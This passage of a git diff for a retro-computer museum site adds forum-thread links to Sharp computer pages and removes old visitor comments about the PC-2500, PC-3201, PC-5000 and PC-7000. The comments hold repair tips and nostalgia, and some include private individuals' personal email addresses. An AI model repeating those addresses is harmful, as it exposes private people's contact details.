standards, that is) in during the '80s. It was sold in a kit with the KA-160 plotter/docking station and came with a 16kB RAM modul included. - - It's a fun machine. ;) related: - /museum/sharp-pc-1210-1211-1212 - /museum/sharp-pc-1245 diff --git a/content/museum/sharp-pc-2500.md b/content/museum/sharp-pc-2500.md index 40213d59..e43c6c26 100644 --- a/content/museum/sharp-pc-2500.md +++ b/content/museum/sharp-pc-2500.md @@ -62,6 +62,7 @@ params: - photos - emulators - links + forum_thread: 194 photos: - title: PC-2500 subtitle: '' @@ -136,30 +137,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Evi (Germany) - date: Monday 13rd November 2017 - text: |- - Hallo fileschi,\ - ich habe einen PC 2500 bekommen und nun rätsel ich, wie das Ding funktioniert. Hast Du die Gebrauchsanleitung?\ - Vielleicht könnten wir uns kontaktieren. - - Wie funktioniert das hier? - - author: e.fileschi (germany) - date: Sunday 9th April 2017 - text: Some were asking (some days ago :-) ) for a manual. Now I got one for some time. So you can ask me, if you have a question. - - author: Kathy (Ohio, USA) - date: Wednesday 9th March 2005 - text: If anyone has a manual for use of the PC-2500, please email me, I keep getting an error code and have no manual. Thanks so much - - author: Franz (g) - date: Thursday 11th July 2002 - text: |- - I also need some tips how to use a sharp PC 2500 pocket PC.\ - If someone knows how to get these information (homepages, email, etc) please mail me !\ - Thanks ! - - author: ibrahim (Turkey) - date: Monday 20th May 2002 - text: i got a sharp pc-2500 . i need manuals, information, programming examples.. related: - /museum/sharp-pc-1210-1211-1212 - /museum/sharp-pc-1245 diff --git a/content/museum/sharp-pc-3101.md b/content/museum/sharp-pc-3101.md index d7bc4b3b..d8de128e 100644 --- a/content/museum/sharp-pc-3101.md +++ b/content/museum/sharp-pc-3101.md @@ -48,6 +48,7 @@ params: value: FDOS (Sharp Operating System) tabs: - links + forum_thread: 217 links: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com diff --git a/content/museum/sharp-pc-3201.md b/content/museum/sharp-pc-3201.md index 2a5372d2..192c6f77 100644 --- a/content/museum/sharp-pc-3201.md +++ b/content/museum/sharp-pc-3201.md @@ -63,6 +63,7 @@ params: tabs: - photos - links + forum_thread: 792 photos: - title: SHARP PC-3201 subtitle: '' @@ -84,24 +85,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Martial (France) - date: Monday 20th August 2012 - text: |- - In France, was sold in from 1981 to 1983. Mainly for business purposes and running "Mercure" operating system (who became MOS) and many applications.\ - The typical system was 2 FD and a dot matrix printer (Manessman Tally MT1000). - - author: Stephen Page (UK) - date: Wednesday 25th April 2012 - text: My first computer at work was a Sharp PC-3201 with dual 5.25 inch disk drives that seemed to be here one week and gone for calibration the next, every two weeks! You would often forget to switch the hardware switch from program to operation. And it ran on CP/M. This machine ran our whole company, from managing our parts system of over 1 Million parts with Dbase II to doing the word processing and spreadsheets with Ashton Tate''s Smartware software. - - author: Nic (New Zealand) - date: Saturday 18th February 2012 - text: This was the first PC I ever had at the grand age of four. lol. I remember there being a version of the Star Trek game from 1971 along with a heap of other ASCII type games like Pedestrian and Othello. - - author: Craig Knights (New Zealand) - date: Sunday 7th November 2010 - text: |- - One was turned in for recycling this week and will be auctioned. - - http://www.odt.co.nz/news/queenstown-lakes/135181/eight-tonnes-all-edays-work related: - /museum/atari-pc - /museum/sharp-pc-3101 diff --git a/content/museum/sharp-pc-5000.md b/content/museum/sharp-pc-5000.md index 57d05191..2a432ef5 100644 --- a/content/museum/sharp-pc-5000.md +++ b/content/museum/sharp-pc-5000.md @@ -72,6 +72,7 @@ params: - hardware - software - links + forum_thread: 470 photos: - title: SYSTEM CLOSED subtitle: '' @@ -178,13 +179,6 @@ params: - title: Uncle Roger's Classic Computers (PC-5000 page) url: http://www.sinasohn.com/cgi-bin/clascomp/bldhtm.pl?computer=shp5000 text: Has useful information about the PC-5000 - comments: - - author: Rob Taylor (Whitby, Canada) - date: Wednesday 20th February 2002 - text: |- - I had this machine in the late 80's.\ - Nice, long-lasting battery. The printer was a very keen feature, and I used to run Borland Turbo Pascal on it to develop small programs. Ah, memories...\ - RT oc_id: 476 source: url: https://web.archive.org/web/20230609171922/http://www.old-computers.com/museum/computer.asp?c=476 diff --git a/content/museum/sharp-pc-7000.md b/content/museum/sharp-pc-7000.md index 2df3e387..6c44e772 100644 --- a/content/museum/sharp-pc-7000.md +++ b/content/museum/sharp-pc-7000.md @@ -61,6 +61,7 @@ params: tabs: - photos - adverts + forum_thread: 490 photos: - title: FRONT subtitle: '' @@ -119,434 +120,6 @@ params: In other words, how to pop your office into a shoulder bag and then go out and about.\ You see the Sharp PC7000 is no ordinary computer. Not only it is light, compact body packed with a much speed and power as most desk top computers, it's also very, very versatile... image: /media/museum/pubs/sharp_pc5000_ukpub_1.jpg - comments: - - author: CD (Australia) - date: Wednesday 23rd June 2021 - text: I recently restored a PC-7100 and it''s a really cool little machine. The CPU is a soldered 8086 which can operate in a 7.37mhz or 4.77mhz "compatible" mode. Expansion options included a modem and video port, my model does not have either of these. The hard disk was on a hardcard and wired to a non-standard port, mine had this removed unfortunately. The FDD had an eject button rather than a lever and uses a canon 1/3 height drive and supported 5.25" DD. The FDD interface can handle a 3.5" DD or a GOTEK with DD images. The Parallel port is non-standard and does not support much more than "nibble" modes, it also does not support any sort of communication with cd-roms, zip drives, back pack hard disks or sound devices (covox). I was able to get a Compact-Flash to Paralell (Shuttle interface) to work over nibble but its painfully slow. The screen is horrible by todays standards but impressive for the time - it did support CGA mode "2" and Mono/Text but is completely unsuitable for - any games except text adventure. Windows 3.0 is possible using the CGA driver and looks pretty decent. RAM is expandable to 764KB and the motherboard itself is very small and beautifully laid out (as was the style of many japanese electronics back in that time) - - author: Tim - date: Saturday 18th August 2018 - text: We had many hand me down computers growing up but this is the one I loved the most. Maybe it was that pack up portability or super crisp text on the screen. I remember spending hours playing in a text editor...exploring all the menu items to see what they would do. If anyone has a PC-7000 and wants to sell it let me know nelson1707 at Mac.com - - author: Rene Wissmann (Germany) - date: Monday 29th May 2017 - text: |- - Hi, my dad owned the Sharp 7100 and i assume like the 7100 the 7000 does not have a internal Batterie (except for BIOS)\ - It only had a big 3 Pin Powersupply. - - I learned programming on that the 7100- loved it.\ - The internal display only was capable displaying Letters (i think it was 25 Lines and 80 Columns letters)\ - the 7100 had an external Monitorport (I think it must be the 15 Pin that is often called vga-port but i don''t know if it was VGA or CGA or something)\ - Only the external display was able to display graphics (i had to switch to another graphicmode to enable the external display and then i could draw sprites into the videoram).\ - With the square on the right you can change the angle of the display to come out a bit and there was a weel at the top of this square to change the contrast. - - i can confirm the 7100 has a 20mb harddisk and one 5 1/4 floppy drive. - - some years ago i heared my father has thrown it away :''( (even if it was still working and had absolute no damages or scratches) - - author: Cristof (France) - date: Wednesday 30th March 2016 - text: |- - Bonjour,\ - je vend un Sharp PC 7000 en parfait état et complet. (Notice, OS, cables, pochette).\ - Le rétroéclairage est orange, pas bleu. - - cristofs@free.fr - - author: Michael Fehlhammer (Germany) - date: Friday 17th October 2014 - text: |- - I recently acquired a Sharp PC 7100 without documentation. At first sight that was no problem, but all of a sudden the hard disk drive isn''t recognized any more. The drive might be damaged, but maybe just the BIOS settings ( hard disk parameters ) have been $d. The onboard setup routine doesn''t provide settings for the hard drive. So probably there was a floppy disk- based HD-configuration program on the original system disk(s)?\ - Help, please!! It''s such a cute little ( ok, not really little ) machine! - - author: Michael Fehlhammer (Germany) - date: Friday 17th October 2014 - text: |- - I recently acquired a Sharp PC 7100 without documentation. At first sight that was no problem, but all of a sudden the hard disk drive isn''t recognized any more. The drive might be damaged, but maybe just the BIOS settings ( hard disk parameters ) have been $d. The onboard setup routine doesn''t provide settings for the hard drive. So probably there was a floppy disk- based HD-configuration program on the original system disk(s)?\ - Help, please!! It''s such a cute little ( ok, not really little ) machine! - - author: René (Netherlands) - date: Tuesday 27th May 2014 - text: |- - I have one of these computers in perfect working order, it has a lot of extra''s (a lot of floppy''s with different programs, manuals, a protective cover). - - I''m looking to sell it, if anyone is interested send me an email$ rbmunneke $at$ hotmail.com - - author: Ash Cooper (NSW Australia) - date: Thursday 29th August 2013 - text: |- - Does anyone have a dead or parts 7000 that they would be willing to sell the LCD from? I bought a working 7100 and when it arrived the LCD was stuffed (torn ribbons)... I''d be overjoyed if someone could $ me an email. lucario097@gmail.com - - Thanks - - author: Matthias Krambeck (Germany) - date: Tuesday 9th April 2013 - text: Hi, I need some help for my Sharp PC-7000...7200, the Master Disk is defect/not available. May somebody help me with an image? Thanks - - author: Paul (Detroit, MI, USA) - date: Tuesday 26th February 2013 - text: I re-visited my poor neglected PC-7000 yesterday armed with a DOS 3.1 boot disk and a sense of determination... after putting the disk in the right way and remembering to click the button to lock the disk, it booted fine. I was able to play "Kingdom of Kroz", this is a great little PC! - - author: Adnan (Finland) - date: Monday 3rd December 2012 - text: |- - hi oneskibum, i want those disks (5.25 floppys) for my Sharp PC-7000. please let me know if you still have them,\ - Thanks in advance.\ - my email is: gorojee (at) gmail.com - - author: Sue uk - date: Sunday 14th October 2012 - text: Opppsss sorry should have posted in main forum. - - author: Sue uk (UK) - date: Sunday 14th October 2012 - text: |- - hi, I''ve had a PC7000 since new, it is fully working with the original boot disks, and an original set of Mini Office Personal disks and a working copy of PCA astrology programme. It''s currently listed on UK ebay and I checked it all worked before listing it. :)\ - http://cgi.ebay.co.uk/ws/eBayISAPI.dll?ViewItem$item$180994311156 - - author: oneskibum (Austria) - date: Wednesday 16th May 2012 - text: i had one of those things and sold it about five years ago. DOS operating system, did a lot of assembler and pascal programing with it. still have some 5.25 floppys laying around. let me know if you are interested. i might even have the original ms assembler floppies and the manuals but i do have to look. - - author: F. Scott (Palm Coast Fl.) - date: Thursday 5th April 2012 - text: I recently aquired a Sharp PC7000. I need a little help deciding what to do with it. Everything works but theres no printer. I have a few disc that came with it, but the drive seems to not read or the disc are just too old and have lost their information on them. If anyone has any advise feel free to send an email at f.scott4285@yahoo.com referrence Sharp PC 7000. - - author: Tim Nelson (USA) - date: Saturday 8th October 2011 - text: 'Correction: I had a Sharp PC-7000 and I''''m looking for that model not the PC-7100 as previously stated.' - - author: Tim Nelson (USA) - date: Saturday 8th October 2011 - text: I would love to get my hands on a Sharp PC-7100. It was my first computer and would love to find one again. Send me an email to nelson1707 at mac.com if you want to sell yours or know someone that has one. - - author: Paul (Detroit, MI, USA) - date: Wednesday 14th September 2011 - text: I spoke too soon... I fired up my PC7000 last night to see if it would in fact boot to MS-DOS 5.0 and now I get the error message when booting. The 5.0 disk was still in the drive so I know it worked last time I used it but now I don''t even hear the drives trying to access the disk. Does anyone have the service manual? I''m disinclined to pay $20-$40 USD for a PDF download... does anyone know the key to enter the BIOS? - - author: Paul (Detroit, MI, USA) - date: Tuesday 13rd September 2011 - text: I was able to boot my 7000 with MS-DOS 3.2 without a problem and, if I remember correctly, MS-DOS 5.0... but 3.2 for sure. - - author: Pieter Hoekstra (Netherlands) - date: Sunday 22nd May 2011 - text: |- - I have a working Sharp PC 7100 with MS Dos manual and Operattion Manual.\ - No original disks but i have a boot disk 9-11-1993 and a disk with command.com /autoexec.bat/config.sys/Reslock etc. - - author: James (England) - date: Wednesday 13rd April 2011 - text: |- - Hi there - - I''m having similair problems as other people, my PC-7200 sits asking me to press F1 to continue. But will not read any of the boot disks i $. I''ve tried the IBM AT setup disk but it doesn''t work. Does anyone have the setup disk for this machine? - - manic_nutter at hotmail dot com - - author: RdM (New Zealand) - date: Tuesday 22nd March 2011 - text: |- - "You have to use an older version of MS-DOS, I think. If I recall correctly, 3.x was already too modern for my PC7000 and wouldn''''t boot correctly. MS-DOS 2.11 is what I had on it."\ - \_ - - Maybe it needs some special files added to the bootdisk, which I''ll check out, but here''s one I''m resurrecting, running MSDOS 6.0 ... - - http://i52.tinypic.com/20jmnoh.jpg - - RdM - - author: RdM (NZ) - date: Tuesday 22nd March 2011 - text: |- - $i$\ - Monday 17th May 2010\ - Mike (Cambridge, MA) - - I''''ve got an old Sharp PC-7200 that I''''m trying to resuscitate. It seems to be in great condition, but on startup is says "Disk Error or Drive Not Reading from Boot Sector!" Anyone have any idea why this is, and how I can fix it? I don''''t have a boot disk for it, but I do have MSDOS 5.0 on 5.25" if that can somehow work. So far no response from trying to use those. - - Any help would be great! ,/i$ - - Be sure you have to know this:- even though the floppies click into place, you still have to press the button to "engasge the heads", $ etc. Try it... - - Ross $RdM$ - - author: Joerg Groening (Germany) - date: Friday 10th December 2010 - text: 'Hallo Rod (NY): I´m urgent looking for a JX-25 RB ribbon cassette since a long time (see below). How can I contact you? I´m very interested to acquire the dual pack.' - - author: Rod (NY) - date: Sunday 5th December 2010 - text: Anyone in search of JX-25RB ribbon cassette''s? I have a dual pack available. If interested, please let me know. - - author: kev (australia) - date: Thursday 30th September 2010 - text: if any one can send me a web site,to locate any and all parts for the sharp pc 7000,i would be greatfull,thanks.kev. - - author: Han (Belgium) - date: Thursday 19th August 2010 - text: 'Indeed Lasse, my PC7100 uses MS-DOS 2.11 V3.0B. The Sharp MS-DOS floppy says: "For PC-7000A/7100".' - - author: Lasse Kärkkäinen - date: Monday 16th August 2010 - text: You have to use an older version of MS-DOS, I think. If I recall correctly, 3.x was already too modern for my PC7000 and wouldn''t boot correctly. MS-DOS 2.11 is what I had on it. - - author: Simon (UK) - date: Wednesday 9th June 2010 - text: |- - @Mike Hi I may not have one of these machines but sounds like the hard drive is corrupt at the very least. What I would be inclined to do is try to find an eariler version of dos. say maybe ibm dos 3.0 and boot from that and attempt an install. - - You could try booting off your dos 5.0 disk (it should be bootable) but I dont know how happily it will run on that machine so again I would recommend tring to get hold of an earlier version of dos on 5" 1/4 floppy, have a look on ebay there are a few copies floating about. - - Alternatively there is a version of DOS out on the net called free dos. It is built for varying architectures, some quite old such as the intel 8086 cpu. If you have another computer that has a 5" 1/4 drive you could create a boot disk and give free dos a try. - - From you post it does seem like the machine should run, probably just some problem with the hard drive that hopefully can be sorted out with a simple format and install of dos. - - I wish i could start a collection of older machines but i have no space and it would certainly drive my girlfriend bonkers haha - - author: Mike (Cambridge, MA) - date: Monday 17th May 2010 - text: |- - I''ve got an old Sharp PC-7200 that I''m trying to resuscitate. It seems to be in great condition, but on startup is says "Disk Error or Drive Not Reading from Boot Sector!" Anyone have any idea why this is, and how I can fix it? I don''t have a boot disk for it, but I do have MSDOS 5.0 on 5.25" if that can somehow work. So far no response from trying to use those. - - Any help would be great! - - author: Stuart Dash (USA) - date: Tuesday 24th November 2009 - text: I used the Sharp PC-7000 lunchbox computer through my three years at MIT (1986-89) - Master in City Planning and Master in Architecture Studies. I had two young children at the time, and thought a portable computer would give me some versatility to move to different rooms in the house - which it did. It was considered pretty capable, as I recall, because of the 8086 processor. Other portable units didn''t have the full, detachable keyboard - a key selling point for me, as I recall. I had a number of games on it for my son (Where in the World is Carmen San Diego being a memorable one for him - playing with a friend). - - author: Peter Hurst (UK) - date: Friday 21st March 2008 - text: |- - I had one of the 7100's for a while. First machine I had with an IDE hard disk, although it had an overheating issue. The machine actually had a packet sniffer card in and sniffer software (can't remember the make) and was stickered up with special keypresses and the Sniffer company's logo's. I suppose it could be an early "appliance". The sniffer card was a full length ISA card - the slot was in the base of the unit with the ports appearing on one end of the main box. - - Keyboard was a joy and the screen pretty good too, I thing it was CGA compatible but the video port could have been EGA. Cable tucked neatly into a slot in front of the screen with a spring-loaded flap on it (you can just one edge of the slot below the left hand edge of the screen in the pic. - - I still have some 1.2Mb floppies bought for the drive on this machine - I think I might even still have some files from it. Unfortunately I can't read them to find out! - - author: Arthur Corliss (Earth) - date: Thursday 19th July 2007 - text: I have a working 7000 in front of me right now, with the docs. The hard drive was available as a add-on for the 7000, so I have the dual drives plus the hard drive (and just about all the optional components). It' s a sweet unit. - - author: Robert (Australia) - date: Thursday 24th May 2007 - text: |- - I had one of these when my interest in computers began about 1995. It was a hand me down from a teacher at my school at the time, i was fascinated as i had never owned a computer before. Of course I occasionally had access to friends 486 machines, but this one was mine. - - My unit had a built in 1200bps modem, which interfaced (if i remember correctly) against the left hand side of the motherboard, if i were facing the rear of the machine. - - Despite the site stating it had batteries mine did not, and i was under the impression that plugging into the wall was the only power option. - - author: Edward Hoggan (Salt Lake City, Utah) - date: Tuesday 10th April 2007 - text: Hey Dude...... Found one of these at the thrift store for 5.00, but sad to say it is missing the printer. There is a web site that carries some software for these (boot disks ect.) look at www.oldsoftware.com - - author: Death (Farnborough, Hants, UK) - date: Sunday 8th April 2007 - text: |- - Hail All! :-)\ - I just managed to pick up one of these from a local car-boot sale today for GBP 3.00 and I'm highly chuffed with it already! As a fan of old-school hacking and programming (Before you ask; I'm a White-Hat! :-) this machine really looks the part. In all honesty, I bought it just to chuck it straight onto eBay, but I don't think I'm going to be able to let myself part with it now! :-D - - Anyhow, onto the serious stuff: I got my machine (A PC-7000 series) in it's original box with keyboard and cover, but no instructions or whatnot. I've already skimmed through the posts below and know about the "Won't boot after a while" problem, but what I need to know is: If I create a boot disk under DOS - Using the SYS command on a 360Kb formatted disk and adding other utilities such as EDIT.COM - Will it be likely to work on the '7000...Or do I need a specific disk? (I.E: The IBM restore disk that others have mentioned.) - - Additionally: If anyone else here has a set of manuals, please can they type/scan/OCR them into this site so that we have some usable instructions? :-) - - Replies both on this page (For other users) and to me via e-mail please, as I won't be able to check this page regularly. Please include "PC-7000_01" in the subject so my spam filter doesn't bin it. Many thanks in advance! :-) - - Farewell... 8O)\ - \>> Death << - - author: Ralph Wells (Cleveland Ohio) - date: Sunday 28th May 2006 - text: I just came across an old Sharp PC 7000 firmware version 1.0A. Don't know much about it except it says it wont boot up. Where can I learn some more about this computer? - - author: gary gilmore (florida panhandle) - date: Thursday 25th May 2006 - text: looking for boot disks for a sharp pc 7000. any help would be greatly appreaciated. - - author: Bob Panish (Philadelphia, Pa., USA) - date: Wednesday 15th February 2006 - text: 'Re: Sharp Pc-7200, Looking for product manual, owners manual, or other information for this item.' - - author: Joerg Groening (Germany) - date: Wednesday 15th February 2006 - text: Hello, I have a Sharp PC 7000 computer complete with printer Sharp CE 700 P. I´m urgently searching for a ribbon-tape Sharp JX-25 RB for the printer. Who can help me, please? - - author: Angelo (Idaho USA) - date: Tuesday 24th January 2006 - text: |- - I picked up a Sharp PC-7221 at the university here at UofI surplus store for $5. The machine boots and the Pheonix Bios boots up, checks memory and tries to boot from the HDD (the HDD light lights up). The Floppy drive light lights up, and the message:\ - No boot device available Strike F1\ - appears. Hitting "F1" makes the computer try to access the HDD then Floppy drive and the same message appears again. - - I can only assume that it\ - 1\) needs a new bios battery\ - 2\) from another post in here that I need a setup disk to setup bios again\ - 3\) I need to install DOS - - I have no Idea where to find either the setup disk or what version of DOS this thing uses. Any infor would be much help. - - Thanks,\ - Angelo - - author: David Lee (Klang, Selangor, Malaysia) - date: Monday 6th June 2005 - text: I had a Sharp PC-7000A. Two disk drives, no hard disk, upgraded to 768K RAM, upgraded with a CGA monitor output port. Couldn't run some games porperly (Flintstones Lost in Bedrock would freeze after the title screen is displayed, Alleycats would periodically hang, Buzzard Bait and PC-Man would not read keyboard presses), but I could actually get the machine to run in "Dual Display mode", in which the onboard LCD display ran in monochrome mode and the connected display would display CGA graphics (some programs, notably SignMaster, could take advantage of the configuration and use the monochrome display for editing and the color display for output sampling). Has a 3-pin power connector, RS-232C DB25 serial port, a centronics parallel port around the back (upgraded models would also have a 9-Pin CGA port). The keyboard is connected to a port around the side. Keyboard has a special key that allows one to go directly into the BIOS and make changes that can take effect on the fly. Changes - includes time and date settings, speaker volume, printer behaviour, Serial port behavior, and LCD behavior (off/monochrome/graphics, normal/inverse ). All in all, nice machine. Might consider pulling it out of the closet and powering it up again sometime. - - author: sylvain D (quebec ca.) - date: Monday 7th February 2005 - text: i got an old sharp pc 7221 but it w'ont boot from the hdd, i have any boot diskette , can anyone help me please thanks! - - author: LOWELL LEVIN (EVANSTON IL) - date: Thursday 30th December 2004 - text: HAD THIS COMPUTER A FEW YEARS BACK LOVED IT. GAVE ME AN ISPERATION TO BACK TO COLLEGE TO LEARN MORE. IT HAD LOTUS 2.O AND WORDPERFECT 5.1 NO GRAPHICS. BUT STILL USABLE FOR LEARNING AND LETTERS SMALL MEMORY BUT HELPFUL. AND DATABASE PROGRAM. ALSO, THEN WENT ON TO A DESKTOP XT WHICH HAD THE SAME. YES THOSE WERE DAYS - - author: Rgoer Lawes (Tweed Coast NSW(Australia)) - date: Tuesday 16th November 2004 - text: |- - My Sister gave me her old Sharp pc 7000 many years ago. I love it because it is so compact and I play F-18 , Elite Starglider, SWC from self booting disks. - - Absolutely no viruses. The lcd screen graphics are black and white low resolution but it has not worried me. - - I used it once at college for an overhead projector display using some software on it which made spread sheets as well - - I have been looking for accessories like the printer and extra memory. - - I got a date file program that accesses the internal clock from Sharp(Sydney) corporation a few years ago to run an appointment reminder program. When the computer starts up it checks the appointments from the autoexec.bat file. - - The internal clock battery takes four days of continuous use to recharge. I haven't used it much and probably does not work any more. No matter, I still play SWC when I need to take the edge off. - - I used to play falcon.exe from a couple of RAAF blokes. Unfortunatly the program got more & more difficult to start untill eventually nothing. - - I have a renewed interest in GWBASIC and occasionally type in something to run - - author: daniel (australia) - date: Tuesday 16th November 2004 - text: 'i was quite fortunate to come across a pc7000 about 6 months ago. It has original manual, msdos instruction manual, original msdos 2.11 disc, original cover, and still in original box. I paid only $5 aust for this computer (WHAT A BARGAIN), an it would be interesting to know how much it is really worth. If anybody knows, or knows anything else about this fine old computer plz email me at: sowden719@hotmail.com. Thanx' - - author: robbie (New Zealand) - date: Saturday 29th May 2004 - text: I managed to get one of these last year with the printer manuals and disks. Even original and in good working order it even came with the receipt from the store. And it only cost $1 which is about 63 cents in US currency. I would like to know if they have acmos battery and if so how do you replace it? As they leak after 4 years and mines 19 years old. - - author: John Pal (Orange, CA. USA) - date: Monday 24th May 2004 - text: |- - Does anyone has schematic drawings or information for SHARP PC-7000 machine(dual 5 1/4" floppy mechanism, 8086 CPU)\ - I would like to remove the floppy mechanism and replace it witha 20MB-MFM hard disk and a 3 1/2"-720kB floppy. The control cards for these devices normally plug into the XT-slot (8 bit ISA). I hope to make some kind of adapter that can provide me with the XT slot(s). I greatly appreciate anybody's help in this matter. -John Pal- - - author: jedwg (Chatham, MA USA) - date: Friday 28th November 2003 - text: |- - TREVOR...\ - I have a Sharp PC-7221 \[with 21Mb HD\] that had the same problem and was VERY simply solved. I believe the problem was/is that the ROM BIOS needs to be refreshed as a result of a long period of inactivity...perhaps the CMOS battery is low as well. - - Here's how I "fixed" mine: - - 1\. You will need a copy of the old original IBM AT Setup Diagnostics Disk...mine is a 360Kb disk. NOTE that this original IBM utility disk is a BOOTABLE disk. I believe these are available from most FTP locations as a simple download. I think my copy was obtained from an old DOS utilities CDROM disk. My IBM Setup disk reads as version 2.04...with most of its files dated 4-24-86. - - 2\. Insert the IBM Setup Diagnostics Disk into the A: Floppy Drive. - - 3\. Turn the Sharp PC-7200/7221 power switch ON and allow the compter to boot to the A: drive....the DIAGNOSTICS menu screen will appear. - - 4\. From the menu, choose the SETUP option by entering the number 4 and then pressing the keyboard ENTER/RETURN key....the SETUP routine will now start to appear on screen. - - 5\. Follow the SETUP screen prompts, making each selection ...DATE...TIME...etc. - - 6\. When the listing of options is shown, review to assure that they represent your PC-7200/7221. You may want to review each, selecting the option shown from the menu listing of each. - - 7\. When done, and proimpted "Are these options correct (Y/N)?....type Y and press the ENTER/RETURN key. - - 8\. Now remove the IBM Setup Diagnostics Disk from the A: drive...and respond to the screen prompt to press "ENTER". - - Your PC-7200 should now Boot normally from the C: drive...and your A: Floppy Drive should now be normally functional. - - Sorry for the long post....HTH....John - - author: Trevor Huntley (Halifax UK) - date: Saturday 15th November 2003 - text: |- - Can anyone help? - - I have a 1987 SHARP PC-7200 Personal Computer, with 5 ¼ “ Floppy and a HDD.\ - The computer has not been used for a quite a long time and will not boot up, I think that the battery may have lost its charge and therefore lost the BIOS settings. - - I have left the computer switched on for 12 hours and reset the clock, which is keeping good time now. - - On power up the screen shows: - - - Phoenix 89286 ROM BIOS Version 3.07\ - Copyright © 1985,1986 Phoenix Technologies Ltd\ - All Rights Reserved - - SHARP Personal Computer System\ - Firmware Version 1.0A - - 640K Standard Memory, 00000k Expanded\ - Invalid Configuration information\ - Strike the F1 key to continue - - After pressing the F1 key the screen clears and shows: - - - No boot device available\ - Strike F1 to retry boot - - After pressing the F1 key again there are two beeps and the floppy busy light lights up but without the normal spin, followed by the instruction: - - - No boot device available\ - Strike F1 to retry boot - - I have tried disconnecting the floppy and then restarting the computer and I get the following result: - - - Invalid Configuration information\ - Diskette drive 0 seek failure\ - Strike the F1 key to continue - - With this result, I do not understand why the computer does not spin the floppy but recognises that the floppy is missing. - - I do have the original master disks\ - 1/ SHARP diagnostics V1.0c\ - 2/MSDOS 3.2 / GWBASIC V1.0c - - The diagnostics disk does have the program to alter the floppy and HDD type, but been unable to boot the computer I am stuck. - - Please can anyone help! - - author: Michael Buchan (Perth, Australia) - date: Sunday 12th October 2003 - text: |- - Hello - - Got one of these obscure things today for AU$5. Does anyone know where I could find a keyboard for it, due to RJ 11 (Phone/Ethernet) cable used for it. - - author: Tom Dwelly (UK) - date: Friday 12th September 2003 - text: |- - I just got hold of a "SpiderSystems SpiderMonitor PC200" from a clear out at my university (I dunno why they still had it hanging around). - - Well, after taking the thing apart (I couldn't resist), I discovered that its actually a PC7100 with a fancy NIC in the expansion slot (and some tasteful decals of course).\ - I can't see myself using it as is, especially as its not booting, but some of the bits may be useful. - - So the question is, does anyone know if its possible to get the LCD panel working independently? Pin-outs or such like would be useful too. Any help would be much appreciated. - - author: Pat McNeil (Canada) - date: Thursday 24th July 2003 - text: |- - Hello - does anyone have the pinout for the keyboard connector for the Sharp PC7100? (I imagine the other models 7000 are the same?) I have a machine here that boots from the internal HD, but I can't work w/it as I don't have a cable. It' a phone cable w/6 conductors, but it isn't a straight through, it seems. - - Anyone with a cable that can check this for me? - - Thanks!\ - Pat - - author: scott parkin (u.k) - date: Friday 27th June 2003 - text: hi ive got a sharp pc-7200 can someone HELP PLEASE!! i cant get it to boot ive made loads of floppys with differant os's on msdos,pcdos,fredos,elks linux but im getting no where the os whats working the most is freedos cos it starts to boot then stops all others say invalid system disk thanks scott - - author: pete (Netherlands) - date: Wednesday 21st May 2003 - text: |- - I've a sharp pc7000 and I wonder if there is any stuff for it. (such as a modem, printer etc.)\ - if you can give me a hind I am verry happy. - - ps. pardon me for my bad english, bud I'm Dutch - - author: Dave Creek (Hokitika - New Zealand) - date: Tuesday 8th April 2003 - text: |- - How do Guy's?! A friend has rescued a PC 7000A for me from the local rubbish dump. I would like to know anything about it as it is entirely new to me. - - I would quite like boot diske etc to be able to use it. - - Cheers Dave Creek - - author: Paul (Michigan USA) - date: Tuesday 8th April 2003 - text: I found a PC-7000 at a moving sale with case but no manuals. Does anyone have downloadable manuals or know of a place to find them? Also, my PC-7000 has no video out, what are the upgrade options to allow CGA video-out? - - author: Robert Maddren (New Zealand) - date: Wednesday 26th February 2003 - text: I have an old PC-7000 in NZ they are worth about $200-$400 to a collector. I only payed $5 for a coplete system in good going order with manuals case and programs. - - author: paul (brisbane australia) - date: Friday 24th January 2003 - text: |- - I just got hold of 2 pc7000a's from recycling centre at my local tip. need to know correct opsys. - - One starts but screen is a bit dull, any ideas of fix.(swapped screens over, no change) - - Also does any one know if expansion port is compatable with pc isa slot (my pc7000a's dont have hdisk support. - - I would appreciate emailed copy of manuals and/or softwear. thanks paul - - author: Ben (Australia) - date: Wednesday 25th December 2002 - text: |- - I've also got some old software and manuals for the pc7000a, and boot disks. All software is 5 1/4 in disk so it might be tough for me to get the info off, but if anyone wants this software or copies of the manual I would be happy to email them. - - Ben - - author: Ben (Australia - Canberra) - date: Wednesday 25th December 2002 - text: |- - Hey, - - I've got a couple of these old babies lying around. Now I did try to take them apart and salvage bits. This was about ten years ago. I didn't find anything I thought was of value back then. I have just rediscovered them and am keen to get the LCDs out and use them as displays for CPU temp, fan speed, network throughput etc, on newer computers. Does any know where I might be able to find out what type of LCD and controller chips they use, and how to wire them up? Any help at all would be muchly appreciated - - author: doktor seltsam (germany) - date: Monday 10th June 2002 - text: |- - Hey!\ - I´ve got a pc7000 and a lot of old 5 1/4" drives(4!). But i dont got any soft for the sharp itself.\ - ANYBODY help please! Pac -Man ?\ - Paratrooper??\ - i need to know how to reactivate.\ - perhaps i could also use it as terminal...?\ - thanks . - - author: ACE!!! (yea) - date: Thursday 2nd May 2002 - text: |- - A Sharp PC-7000 is valuable only to one who has great interest in it. now, if you plan on making a few 100 on it you'll get laughed at i think, unless you got one thats new in the box. highly unlikely.\ - keep the computer, it's not eating much space and it's nice to play with, even for kids. i got one and it still provides for many hours of gaming fun. (nothing like a good ol' game of the original pacman or paratrooper!) oc_id: 496 source: url: https://web.archive.org/web/20230608082939/http://www.old-computers.com/museum/computer.asp?c=496 diff --git a/content/museum/sharp-sm-b-80tc.md b/content/museum/sharp-sm-b-80tc.md index 61af65d6..e5452267 100644 --- a/content/museum/sharp-sm-b-80tc.md +++ b/content/museum/sharp-sm-b-80tc.md @@ -53,6 +53,7 @@ params: tabs: - photos - links + forum_thread: 688 photos: - title: MOTHERBOARD subtitle: '' diff --git a/content/museum/sharp-sm-b-80te.md b/content/museum/sharp-sm-b-80te.md index 8bf27af0..783b1641 100644 --- a/content/museum/sharp-sm-b-80te.md +++ b/content/museum/sharp-sm-b-80te.md @@ -53,6 +53,7 @@ params: tabs: - photos - links + forum_thread: 685 photos: - title: SM-B-80-TE subtitle: '' diff --git a/content/museum/sharp-wd-2000.md b/content/museum/sharp-wd-2000.md index c49962e1..37e4a811 100644 --- 